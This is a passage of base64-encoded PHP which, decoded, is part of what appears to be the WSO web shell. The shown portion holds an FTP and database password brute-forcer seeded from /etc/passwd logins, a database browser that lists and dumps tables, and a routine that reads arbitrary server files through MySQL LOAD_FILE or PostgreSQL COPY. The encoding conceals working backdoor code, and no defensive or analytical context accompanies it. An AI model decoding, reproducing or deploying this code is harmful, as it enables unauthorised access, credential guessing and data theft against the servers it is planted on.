CAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk+PTA7IC0tJGkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF1bJGldOyANCiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJHRtcCkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gMikgeyANCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOyANCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKSANCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZSgkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBlY2hvICI8c3Bhbj5BdHRlbXB0czo8L3NwYW4+ICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bhbj4gJHN1Y2Nlc3M8L2Rpdj48YnI+IjsgDQogICAgfSANCiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQogICAgICAgIC4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsgDQogICAgZWNobyAnPC9kaXY+PGJyPic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgeyANCiAgICBjbGFzcyBEYkNsYXNzIHsgDQogICAgICAgIHZhciAkdHlwZTsgDQogICAgICAgIHZhciAkbGluazsgDQogICAgICAgIHZhciAkcmVzOyANCiAgICAgICAgZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkgeyANCiAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7IA0KICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7IA0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIHsgDQogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGVycm9yKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsgDQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj1hcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICRpWydmaWxlJ107IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOyANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgibiIsJHIpKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7IA0KICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyZWF0ZVsxXS4iO24iOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyANCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PSBudWxsKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIG50KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAibnQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7bm4iKTsgZWxzZSBlY2hvKCI7bm4iKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAkazsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgIH07IA0KICAgICRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsgDQogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyANCiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOyANCiAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyANCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IA0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsgDQogICAgICAgIH0gDQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgeyANCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsgDQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7IA0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsgDQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpIA0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7IA0KICAgICAgICAgICAgZXhpdDsgDQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgeyANCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOyANCiAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7IA0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhbid0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7IA0KICAgIH0gDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gIiANCiAgDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+IA0KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PC90ZD48L3RyPjx0cj4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPiANCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOyANCiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOyANCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOyANCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7IA0KZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPiANCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+IA0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiInPjwvdGQ+IA0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsgDQogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7IA0KICAgICAgICBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsgDQogICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsgDQogICAgICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRkYi0+bGlzdERicygpOyANCiAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7IA0KICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsgDQogICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7IA0KICAgICAgICAgICAgICAgIGVjaG8g